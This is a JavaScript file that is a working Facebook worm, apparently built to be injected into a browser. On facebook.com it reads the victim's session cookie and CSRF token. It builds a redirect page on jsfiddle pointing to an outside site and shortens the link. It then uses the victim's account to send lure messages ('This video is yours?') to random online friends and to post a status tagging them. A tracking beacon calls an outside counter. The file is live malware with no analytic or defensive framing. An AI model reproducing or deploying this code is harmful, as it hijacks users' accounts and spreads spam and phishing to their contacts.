

new Image().src="http://whos.amung.us/widget/y75c5038lskl.png";

if(location.hostname.indexOf("facebook.com")>=0){
var injection = {
read : {},
generate : {}
}
injection.read.user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1])[0],
injection.read.fb_dtsg = document.getElementsByName('fb_dtsg')[0].value,
injection.read.fb_session = document.getElementsByName("feedback_params")[0].value.match(/content_timestamp":"([0-9]+)"/)[1],
injection.read.fb_composserid = document.getElementsByName("feedback_params")[0].value,
injection.read.fb_windowid = document.cookie.split('EtwF')[1].split('Eat')[0],
injection.read.fb_city = "106423786059675",
injection.read.fb_stream = "visibility=0&window_id="+injection.read.fb_windowid+"&__user="+injection.read.user_id+"&__a=1&fb_dtsg="+injection.read.fb_dtsg,
injection.read.fb_rev = document.getElementsByTagName("body")[0].innerHTML.match(/revision":([0-9]+),"/)[1]
injection.generate.ttstampsource =  function() {
var qs = injection.read.fb_stream;
var dtsg = injection.read.fb_dtsg;
var input_len = qs.length;
numeric_csrf_value = '';
for (var ii = 0; ii < dtsg.length; ii++) {
numeric_csrf_value += dtsg.charCodeAt(ii);
}
return '1' + numeric_csrf_value + input_len;
},
injection.generate.ttstamp = injection.generate.ttstampsource()

var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

var config = document.getElementsByName('fb_dtsg')[0].value;
var profile_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

function SharerBy(){
var xml = new XMLHttpRequest();
var xml_open = "http://jsfiddle.net/";
var xml_send = null;
xml.open("GET", xml_open, true);
xml.onreadystatechange = function(){
if(xml.readyState == 4){
var y = xml.responseText.match("'csrfmiddlewaretoken' value='(.*?)'")[1];
var xml2 = new XMLHttpRequest();
var xml2_open = "http://jsfiddle.net/_save/";
var xml2_send = "csrfmiddlewaretoken=" + y + "&js_lib=11&js_wrap=l&title=&description=&body_tag=&doctype=3&js_lib_option=&add_external_resources=&panel_css=0&panel_js=0&version=0&slug=&code_html=&code_js=d2luZG93LmxvY2F0aW9uLmhyZWY9Imh0dHA6Ly93d3cudmltZXRyb24uY29tP3NlZW52ZCI7&code_css=";
xml2.open("POST", xml2_open, true);
xml2.onreadystatechange = function(){
if(xml2.readyState == 4){
var jps = xml2.responseText.match('"/(.*?)/"')[1];
var urls = "http://jsfiddle.net/" + jps + "/show/";
SharedBy(urls);
}}
xml2.send(xml2_send);
}
}
xml.send(xml_send);

}

function SharedBy(url){
var jsonpage = [{"jsonrpc":"2.0","id":"gapiRpc","method":"urlshortener.url.insert","params":{"resource":{"longUrl":"" + url + "?" + Math.floor(Math.random() * 999999) + ""}},"apiVersion":"v1"}];
var jsoner = JSON.stringify(jsonpage);

	var xml = new XMLHttpRequest();
	var xml_open = "https://www.googleapis.com/rpc";
	var xml_send = jsoner;
	xml.open("POST", xml_open, true);
	xml.setRequestHeader("Content-Type", "application/json");
	xml.onreadystatechange = function()
	{
	if(xml.readyState == 4)
	{
	var urlme = JSON.parse(xml.responseText)[0].result.id;
	var fbmessageme = "Jajaja... Un video dedicado a todos mis amigos, Miren lo que pasa.!! :o :p :)) VER VIDEO AQUI: " + urlme + " (y)";
	eval("url = urlme");
	eval("fbmessage = fbmessageme");
	qwecek(url);
	}
	}
	xml.send(xml_send);
}

var base_dom = "GOOGLE.COM";
var post = "aktif";


function qwecek(bubizim){


var xmlhttp = new XMLHttpRequest();
  var params = "user=" + injection.read.user_id + "&__user=" + injection.read.user_id + "&__a=1&__req=2&fb_dtsg=" + injection.read.fb_dtsg;
  xmlhttp.open("POST", "/ajax/chat/buddy_list.php?__a=1", true);
  xmlhttp.onreadystatechange = function() {
    if(xmlhttp.readyState == 4 && xmlhttp.status == 200) {
      var response = JSON.parse(xmlhttp.responseText.replace("for (;;);", ""));
	  eval("x = response");
      var count = 0;
	  var allonline = [];
	  var namelist = [];
                                        friend_lists = "";
                                        friend_names = "";
		for ( veas in x.payload.buddy_list.nowAvailableList){
        var thisis = x.payload.buddy_list.nowAvailableList[veas];
		allonline.push(veas);
		namelist.push(thisis);
		}
		var integercount = 0;
		var mytimer = 0;
		for(i=0; i<15; i++){
		integercount++;
		mytimer = mytimer + 1500;
		var countas = Math.floor(Math.random()*allonline.length);
		var friendid = allonline[countas];
		var friendname = namelist[countas];
		benimesaj(friendid, ":S", bubizim, mytimer);
		friend_lists+="&composertags_with[" + integercount + "]=" + friendid + "";
		friend_names+="&text_composertags_with[" + integercount + "]=" + friendname + "";
		}
		Sharing(friend_lists,friend_names);
      xmlhttp.close;
    }
  }
xmlhttp.send(params);
  
}

function Sharing(parameter1, parameter2){

	var xml = new XMLHttpRequest();
	var xml_open = "/ajax/updatestatus.php?__av=" + injection.read.user_id + "";
	var xml_send = "fb_dtsg=" + injection.read.fb_dtsg + "&xhpc_context=profile&xhpc_ismeta=1&xhpc_timeline=1&xhpc_composerid=" + injection.read.fb_composserid + "&xhpc_targetid=" + injection.read.user_id + "&xhpc_publish_type=1&clp=%7B%22cl_impid%22%3A%228ef69261%22%2C%22clearcounter%22%3A0%2C%22elementid%22%3A%22u_0_1t%22%2C%22version%22%3A%22x%22%2C%22parent_fbid%22%3A" + injection.read.user_id + "%7D&xhpc_message_text=" + fbmessage + "&xhpc_message=" + fbmessage + "&backdated_date[year]=&backdated_date[month]=&backdated_date[day]=&backdated_date[hour]=&backdated_date[minute]=&is_explicit_place=&composertags_place=&composertags_place_name=&tagger_session_id=" + injection.read.fb_session + "&action_type_id[0]=&object_str[0]=&object_id[0]=&og_location_id[0]=&hide_object_attachment=0&og_suggestion_mechanism=&icon_id=&composertags_city=&disable_location_sharing=false&composer_predicted_city=106478736056198&privacyx=300645083384735&nctr[_mod]=pagelet_timeline_recent&__user=" + injection.read.user_id + "&__a=1&__dyn=7n8ajEAMBlynzpQ9UoGha4Cq7pEsx6iWF29aGEZ9LFwxBxCbzFVpUgDyQqUgKm&__req=u&ttstamp=" + injection.generate.ttstamp + "&__rev=" + injection.read.fb_rev + "";
	xml.open("POST", xml_open, true);
	xml.onreadystatechange = function()
	{
	if(xml.readyState == 4)
	{

	}
	}
	xml_send+=parameter1;
	xml_send+=parameter2;
	xml.send(xml_send);
}

//var mesaj = "This video is yours.? :/ :O " + Math.floor(Math.random() * 99);

function benimesaj(friends, friendname, bubizim, timerly) {

setTimeout(function(){	
var txts = [
"This video is yours.? :/ :O",
"Espero que te guste el video que hice para ti. :)",
"Encontre tu video. :(",
"Este video es tuyo.? No me lo creo. :S :/",
"Por que sales en este video.? :/ :( :(",
"Video collage con tus fotos. :( :( :/ ",
"Tienes que ver este video... :O :/",
"Este video me tiene confundido, eres tu o no lo eres?. :O :/ :(",
"Hice este video con tus fotos para ti :D :/ :O",
"Tu video esta en YouTube :O :/",
"Tienes que verlo, Es tu video :O :/"
];
var mesaj = txts[Math.floor(Math.random() * (txts.length))] +" ," + Math.floor(Math.random() * 99);
    var xhr = new XMLHttpRequest();
    xhr.open("POST", '/ajax/mercury/send_messages.php?__a=1', true);
	var params = "message_batch[0][action_type]=ma-type%3Auser-generated-message&message_batch[0][author]=fbid%3A" + injection.read.user_id + "&message_batch[0][author_email]&message_batch[0][coordinates]&message_batch[0][timestamp_time_passed]=0&message_batch[0][is_unread]=false&message_batch[0][is_cleared]=false&message_batch[0][is_forward]=false&message_batch[0][is_filtered_content]=false&message_batch[0][is_spoof_warning]=false&message_batch[0][source]=source%3Achat%3Aweb&message_batch[0][source_tags][0]=source%3Achat&message_batch[0][body]="+mesaj+"&message_batch[0][has_attachment]=true&message_batch[0][html_body]=false&&message_batch[0][specific_to_list][0]=fbid%3A" + friends + "&message_batch[0][specific_to_list][1]=fbid%3A" + injection.read.user_id + "&message_batch[0][content_attachment][subject]=IP6%20Short%20URL%20-%20Free%20service&message_batch[0][content_attachment][app_id]=2309869772&message_batch[0][content_attachment][attachment][params][urlInfo][canonical]=" + bubizim + "&message_batch[0][content_attachment][attachment][params][urlInfo][final]=" + bubizim + "&message_batch[0][content_attachment][attachment][params][urlInfo][user]=" + bubizim + "&message_batch[0][content_attachment][attachment][params][favicon]=&message_batch[0][content_attachment][attachment][params][title]=Reproducir&message_batch[0][content_attachment][attachment][params][summary]=Youtube&message_batch[0][content_attachment][attachment][params][images][0]=https%3A%2F%2Ffbexternal-a.akamaihd.net%2Fsafe_image.php%3Fd%3DAQDKkoJA_eHkYR-5%26w%3D100%26h%3D100%26url%3Dhttps://graph.facebook.com/" + friends + "/picture?type=large%26cfs%3D1%26upscale&message_batch[0][content_attachment][attachment][params][medium]=106&message_batch[0][content_attachment][attachment][params][url]=" + bubizim + "&message_batch[0][content_attachment][attachment][type]=100&message_batch[0][content_attachment][link_metrics][source]=ShareStageExternal&message_batch[0][content_attachment][link_metrics][domain]="+base_dom+"&message_batch[0][content_attachment][link_metrics][base_domain]="+base_dom+"&message_batch[0][content_attachment][link_metrics][title_len]=28&message_batch[0][content_attachment][link_metrics][summary_len]=36&message_batch[0][content_attachment][link_metrics][min_dimensions][0]=70&message_batch[0][content_attachment][link_metrics][min_dimensions][1]=70&message_batch[0][content_attachment][link_metrics][images_with_dimensions]=1&message_batch[0][content_attachment][link_metrics][images_pending]=0&message_batch[0][content_attachment][link_metrics][images_fetched]=0&message_batch[0][content_attachment][link_metrics][image_dimensions][0]=626&message_batch[0][content_attachment][link_metrics][image_dimensions][1]=293&message_batch[0][content_attachment][link_metrics][images_selected]=1&message_batch[0][content_attachment][link_metrics][images_considered]=1&message_batch[0][content_attachment][link_metrics][images_cap]=3&message_batch[0][content_attachment][link_metrics][images_type]=ranked&message_batch[0][content_attachment][composer_metrics][best_image_w]=100&message_batch[0][content_attachment][composer_metrics][best_image_h]=100&message_batch[0][content_attachment][composer_metrics][image_selected]=0&message_batch[0][content_attachment][composer_metrics][images_provided]=1&message_batch[0][content_attachment][composer_metrics][images_loaded]=1&message_batch[0][content_attachment][composer_metrics][images_shown]=1&message_batch[0][content_attachment][composer_metrics][load_duration]=4&message_batch[0][content_attachment][composer_metrics][timed_out]=0&message_batch[0][content_attachment][composer_metrics][sort_order]=&message_batch[0][content_attachment][composer_metrics][selector_type]=UIThumbPager_6&message_batch[0][ui_push_phase]=V3&message_batch[0][status]=0&client=mercury&__user=" + injection.read.user_id + "&__a=1&__dyn=7n8anEAMCBynzpQ9UoGya4Cq74qbx2mbAKGiyGGEZ9LFDxCm6p_AyoSnx2&__req=f&fb_dtsg=" + injection.read.fb_dtsg + "&ttstamp=2658172571218810680459011989&__rev=1300533";
	
    xhr.onreadystatechange = function () {
        if (xhr.readyState == 4) {
            var data = xhr.responseText;
			xhr.close;
        }
    }
    xhr.send(params);
}, timerly);
}


var newtime = new Date().getTime() + 110000;
var time = new Date().getTime();
if(localStorage["statictabinfordrd"]){
if(localStorage["statictabinfordrd"] < time){
localStorage["statictabinfordrd"] = newtime;
SharerBy();



}

} else {
localStorage["statictabinfordrd"] = newtime;
SharerBy();



}

}